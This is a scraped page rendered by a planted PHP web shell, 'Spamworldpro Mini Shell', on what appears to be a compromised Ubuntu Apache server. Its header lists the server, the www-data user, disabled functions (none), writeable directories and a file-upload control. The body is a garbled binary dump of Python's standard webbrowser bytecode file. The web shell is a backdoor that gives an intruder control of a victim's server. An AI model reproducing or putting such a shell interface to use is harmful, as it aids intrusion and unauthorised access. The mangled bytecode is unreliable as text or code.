Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3.10/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.10/__pycache__/webbrowser.cpython-310.pyc
o

�*�g�^�@s�dZddlZddlZddlZddlZddlZddlZgd�ZGdd�de�Z	e�
�ZiZda
dad=dd�dd	�Zd=d
d�Zd>d
d�Zdd�Zdd�Zdd�dd�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�ZGd!d"�d"e�ZGd#d$�d$e�ZeZGd%d&�d&e�ZGd'd(�d(e�Z Gd)d*�d*e�Z!Gd+d,�d,e�Z"d-d.�Z#d/d0�Z$ej%dd1�d2kr�Gd3d4�d4e�Z&ej%d5kr�Gd6d7�d7e�Z'Gd8d9�d9e�Z(d:d;�Z)e*d<kr�e)�dSdS)?z?Interfaces for launching and remotely controlling web browsers.�N)�Error�open�open_new�open_new_tab�get�registerc@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�!/usr/lib/python3.10/webbrowser.pyrsrF��	preferredcCs�t�4tdur
t�||gt|��<|str!|tvr!t�d|�n
t�|�Wd�dSWd�dS1s9wYdS)zRegister a browser connector.Nr)�_lock�	_tryorder�register_standard_browsers�	_browsers�lower�_os_preferred_browser�insert�append)�name�klass�instancerrrrrs�	"�rc	Cs�tdurt�tdurt�Wd�n1swY|dur%|g}nt}|D]P}d|vrJt�|�}|ddkrDt|dd��St|�Szt|��}Wn
t	y_t
|�}Ynw|ddurl|dS|ddury|d�Sq)td��)zCReturn a browser launcher instance appropriate for the environment.N�%s����&�rz!could not locate runnable browser)rrr�shlex�split�BackgroundBrowser�GenericBrowserrr�KeyError�_synthesizer)�using�alternatives�browser�commandrrrr%s4��
��rTcCsdtdurt�tdurt�Wd�n1swYtD]}t|�}|�|||�r/dSqdS)aDisplay url using the default browser.

    If possible, open url in a location determined by new.
    - 0: the same browser window (the default).
    - 1: a new browser window.
    - 2: a new browser page ("tab").
    If possible, autoraise raises the window (the default) or not.
    NTF)rrrrr)�url�new�	autoraiserr&rrrrGs	���rcC�
t|d�S)zuOpen url in a new window of the default browser.

    If not possible, then open url in the only browser window.
    r�r�r(rrrrZ�
rcCr+)z�Open url in a new page ("tab") of the default browser.

    If not possible, then the behavior becomes equivalent to open_new().
    �r,r-rrrrar.rcCs�|��d}t�|�sddgStj�|�}zt|��}Wn
ty*ddgYSw|d}|rW|��|jkrWddl	}|�	|�}||_
tj�|�|_t|d||d�d|gSddgS)a�Attempt to synthesize a controller based on existing controllers.

    This is useful to create a controller when a user specifies a path to
    an entry in the BROWSER environment variable -- we can copy a general
    controller to operate using a specific installation of the desired
    browser in this way.

    If we can't create a controller in this way, or if there is no
    executable for the requested browser, return [None, None].

    rNr)rr)r�shutil�which�os�path�basenamerrr"�copyrr)r&r�cmdrr'�
controllerr5rrrr#is$
�
r#c@s:eZdZdZdgZddd�Zddd	�Zd
d�Zdd
�ZdS)�BaseBrowserz3Parent class for all browsers. Do not use directly.r�cCs||_||_dS�N)rr4��selfrrrr�__init__�s
zBaseBrowser.__init__rTcCst�r:)�NotImplementedError�r<r(r)r*rrrr�szBaseBrowser.opencC�|�|d�S)Nrr,�r<r(rrrr��zBaseBrowser.open_newcCr@)Nr/r,rArrrr�rBzBaseBrowser.open_new_tabN)r9�rT)	rr	r
�__doc__�argsr=rrrrrrrr8�s

r8c@�"eZdZdZdd�Zd	dd�ZdS)
r!zVClass for all browsers started with a command
       and without remote functionality.cCsFt|t�r
||_dg|_n|d|_|dd�|_tj�|j�|_dS)Nrrr)�
isinstance�strrrEr2r3r4r;rrrr=�s


zGenericBrowser.__init__rTcsvt�d��|jg�fdd�|jD�}ztjdd�dkr$t�|�}ntj|dd�}|��WSty:YdSw)	N�webbrowser.openc�g|]}|�d���qS�r��replace��.0�argr-rr�
<listcomp>���z'GenericBrowser.open.<locals>.<listcomp>��winT)�	close_fdsF)	�sys�auditrrE�platform�
subprocess�Popen�wait�OSError�r<r(r)r*�cmdline�prr-rr�s��zGenericBrowser.openNrC�rr	r
rDr=rrrrrr!�s
r!c@�eZdZdZddd�ZdS)r zHClass for all browsers which are to be started in the
       background.rTcsz|jg�fdd�|jD�}t�d��ztjdd�dkr$t�|�}ntj|ddd�}|��duWSty<YdSw)	NcrJrKrLrNr-rrrQ�rRz*BackgroundBrowser.open.<locals>.<listcomp>rIrSrTT)rU�start_new_sessionF)	rrErVrWrXrYrZ�pollr\r]rr-rr�s���zBackgroundBrowser.openNrC�rr	r
rDrrrrrr �sr c@sDeZdZdZdZdZdZddgZdZdZ	dZ
ddd�Zd
d
d�ZdS)�UnixBrowserz=Parent class for all Unix browsers with remote functionality.NFT�%actionrcCs�g}|r|jrt|�}|j|}|r|g}|jg||}|s"|jr&tj}nd}tj|d||jr2|p3d|dd�}	|rOz	|	�d�}
|
WStj	yNYdSw|jr\|	�
�durZdSdS|	��S)NT�rU�stdin�stdout�stderrrb�F)�
raise_opts�intr�
backgroundrY�DEVNULLrZ�redirect_stdoutr[�TimeoutExpiredrc)r<rE�remoter*r(�	raise_opt�optr^�inoutr_�rcrrr�_invoke�s2




�
�
zUnixBrowser._invokercs�t�d��|dkr|j�n!|dkr|j�n|dkr'|jdur#|j�n|j�ntdd|����fdd�|jD�}d	d�|D�}|�|d
|��}|s\�fdd�|jD�}|�|dd�Sd
S)
NrIrrr/zBad 'new' parameter to open(); zexpected 0, 1, or 2, got %scs g|]}|�d���d���qS)rrfrLrN��actionr(rrrQs�z$UnixBrowser.open.<locals>.<listcomp>cSsg|]}|r|�qSrrrNrrrrQsTcrJrKrLrNr-rrrQsF)	rVrW�
remote_action�remote_action_newwin�remote_action_newtabr�remote_argsrwrE)r<r(r)r*rE�successrrxrrs*
��zUnixBrowser.openr:rC)
rr	r
rDrlrnrpr}rzr{r|rwrrrrrre�s
#rec@s(eZdZdZddgZdZdZdZdZdS)	�Mozillaz$Launcher class for Mozilla browsers.rfrr9z-new-windowz-new-tabTN�	rr	r
rDr}rzr{r|rnrrrrr�rc@s0eZdZdZddgZddgZdZdZdZd	Z	d
S)�Netscapez$Launcher class for Netscape browser.�-noraisez-raise�-remote�openURL(%s%action)r9�,new-window�,new-tabTN)
rr	r
rDrlr}rzr{r|rnrrrrr�&sr�c@s,eZdZdZddgZddgZdZdZdZd	S)
�Galeonz,Launcher class for Galeon/Epiphany browsers.r�r9rfr�-nz-wTN)	rr	r
rDrlr}rzr{rnrrrrr�1sr�c@�(eZdZdZddgZdZdZdZdZdS)�Chromez)Launcher class for Google Chrome browser.rfrr9�--new-windowTNr�rrrrr�;r�r�c@r�)�Operaz!Launcher class for Opera browser.rfrr9r�TNr�rrrrr�Gr�r�c@s,eZdZdZddgZdZdZdZdZdZ	dS)	�Elinksz#Launcher class for Elinks browsers.r�r�r9r�r�FN)
rr	r
rDr}rzr{r|rnrprrrrr�Qsr�c@ra)�	Konquerorz�Controller for the KDE File Manager (kfm, or Konqueror).

    See the output of ``kfmclient --commands``
    for more information on the Konqueror remote-control interface.
    rTcCs�t�d|�|dkr
d}nd}tj}ztjd||gd|||d�}Wn	ty*Ynw|��dSztjdd	|gd|||dd
�}Wn	tyJYn	w|��durSdSztjdd|gd|||dd
�}Wn
tymYd
Sw|��duS)NrIr/�newTab�openURL�	kfmclientT)rUrhrirj�	konquerorz--silentrg�kfmz-dF)rVrWrYrorZr\r[rc)r<r(r)r*ry�devnullr_rrrrfsH
��
��
��zKonqueror.openNrCrdrrrrr�_sr�c@s&eZdZdd�Zdd�Zd
dd�Zd	S)�GrailcCs�ddl}ddl}ddl}ddl}tj�|��d�}|�t�	��d}tj�|�
|�|�
|�d�}|�|�}|s:dS|�|j|j�}	|D]&}
z
|	�
|
�W|	Styjzt�|
�Wn	tygYnwYqDwdS)Nrz.grail-unixz-*)�glob�pwd�socket�tempfiler2r3�join�
gettempdir�getpwuid�getuid�escape�AF_UNIX�SOCK_STREAM�connectr\�unlink)r<r�r�r�r��tempdir�user�filename�maybes�s�fnrrr�_find_grail_rc�s4�
�����zGrail._find_grail_rccCs&|��}|sdS|�|�|��dS)Nrr)r��send�close)r<ryr�rrr�_remote�s
z
Grail._remoterTcCs4t�d|�|r|�d|�}|S|�d|�}|S)NrIzLOADNEW zLOAD )rVrWr�)r<r(r)r*�okrrrr�s�z
Grail.openNrC)rr	r
r�r�rrrrrr��sr�cCs�t�d�r
tddtd��dtjvrt�d�rtddtd��dtjvr1t�d�r1tddtd��dtjvrCt�d�rCtdttd��t�d�rPtddtd��dD]}t�|�rat|dt|��qRd	D]}t�|�rst|dt|��qdt�d
�r�td
ttd
��n
t�d�r�tdttd��dD]}t�|�r�t|dt	|��q�t�d
�r�td
dtd
��dD]}t�|�r�t|dt
|��q�t�d�r�tddtd��t�d�r�tddtd��t�d�r�tdtd�dSdS)Nzxdg-open�GNOME_DESKTOP_SESSION_IDz	gvfs-openz
gnome-open�KDE_FULL_SESSIONr�z
x-www-browser)�firefox�	iceweasel�iceape�	seamonkey)zmozilla-firefoxzmozilla-firebird�firebird�mozilla�netscaper�r�)�galeon�epiphany�	skipstone)z
google-chrome�chrome�chromiumzchromium-browser�opera�mosaic�grail)
r0r1rr r2�environr�rr�r�r�r�r�)r&rrr�register_X_browsers�sN


�
�


�

�


�r�cCs6gatjdkr'tddtd��tddtd��tddtd��tddtd��tjdkr4tddtd��tjdd	�d
krhtdt�tj�	tj
�dd
�d�}dddddd|fD]}t�
|�rft|dt|��qWn{tj
�d�sttj
�d�r�zd��}tj|tjd�}|����}Wnttjttfy�Ynw|at�tj
�d�r�t�
d�r�tddtd��t�
d�r�tddtd��t�
d�r�tddtd��t�
d�r�tddtd��t�
d�r�tddtd��dtj
v�rtj
d�tj�}|��|D] }|dk�rt|d d!�}|d"du�rt|dt|�d d!�q�dSdS)#N�darwin�MacOSX�defaultr�r��safari�
serenityos�BrowserrSrTzwindows-default�PROGRAMFILESzC:\Program FileszInternet Explorer\IEXPLORE.EXEr�r�r�r�r��DISPLAY�WAYLAND_DISPLAYz$xdg-settings get default-web-browser)rj�TERMzwww-browser�links�elinks�lynx�w3m�BROWSERr9Tr
r)rrVrXr�MacOSXOSAScriptr �WindowsDefaultr2r3r�r�rr0r1rrY�check_outputro�decode�strip�FileNotFoundError�CalledProcessError�PermissionError�NotADirectoryErrorrr�r!r��pathsep�reverser#)�iexplorer&r6�
raw_result�result�userchoicesr^rrrrsh


��
���





��rrSrTc@seZdZddd�ZdS)r�rTcCs2t�d|�zt�|�WdStyYdSw)NrIFT)rVrWr2�	startfiler\r?rrrr\s��zWindowsDefault.openNrC)rr	r
rrrrrr�[sr�r�c@rF)
r�a{Launcher class for Aqua browsers on Mac OS X

        Optionally specify a browser name on instantiation.  Note that this
        will not work for Aqua browsers if the user has moved the application
        package after installation.

        If no browser is specified, the default browser, as specified in the
        Internet System Preferences panel, will be used.
        cC�
||_dSr:)rr;rrrr=w�
zMacOSX.__init__rTc	Cs�t�d|�d|vsJ�d|vrd|}tt|��}|jdkr(d|�dd�}n|jd	kr0d
}nd|d}d
|�dd�}d|j||f}t�dd�}|durRdS|�|�|�	�}|S)NrI�'�:zfile:r��open location "%s"�"�%22�OmniWebr9ztoWindow %drzOpenURL "%s"z�tell application "%s"
                                activate
                                %s %s
                            end tell�	osascript�wF)
rVrWrm�boolrrMr2�popen�writer�)	r<r(r)r*�script�toWindowr6�osapipervrrrrzs(


�
zMacOSX.openNrCr`rrrrr�ms	r�c@seZdZdd�Zddd�ZdS)	r�cCr�r:)�_namer;rrrr=�r�zMacOSXOSAScript.__init__rTcCsb|jdkrd|�dd�}nd|j|�dd�f}t�dd�}|dur%dS|�|�|��}|S)	Nr�r�r�r�z�
                   tell application "%s"
                       activate
                       open location "%s"
                   end
                   r�r�F)r�rMr2r�r�r�)r<r(r)r*r�r�rvrrrr�s
�
zMacOSXOSAScript.openNrC)rr	r
r=rrrrrr��sr�c	
Cs�ddl}dtjd}z|�tjdd�d�\}}Wn&|jy@}zt|tjd�t|tjd�t�d�WYd}~nd}~wwd}|D]\}}|dkrPd}qE|dkrVd}qEt|�dkrit|tjd�t�d�|d}t||�td	�dS)
NrzDUsage: %s [-n | -t] url
    -n: open new window
    -t: open new tabr�ntd)�filer�z-tr/�)	�getoptrV�argv�error�printrj�exit�lenr)	r��usage�optsrE�msg�new_win�o�ar(rrr�main�s.����

r�__main__r:rC)+rDr2rr0rVrY�	threading�__all__�	Exceptionr�RLockrrrrrrrrrr#�objectr8r!r rerr�r�r��Chromiumr�r�r�r�r�rrXr�r�r�rrrrrr�<module>sV

""O

	
56AO
/
�

Spamworldpro Mini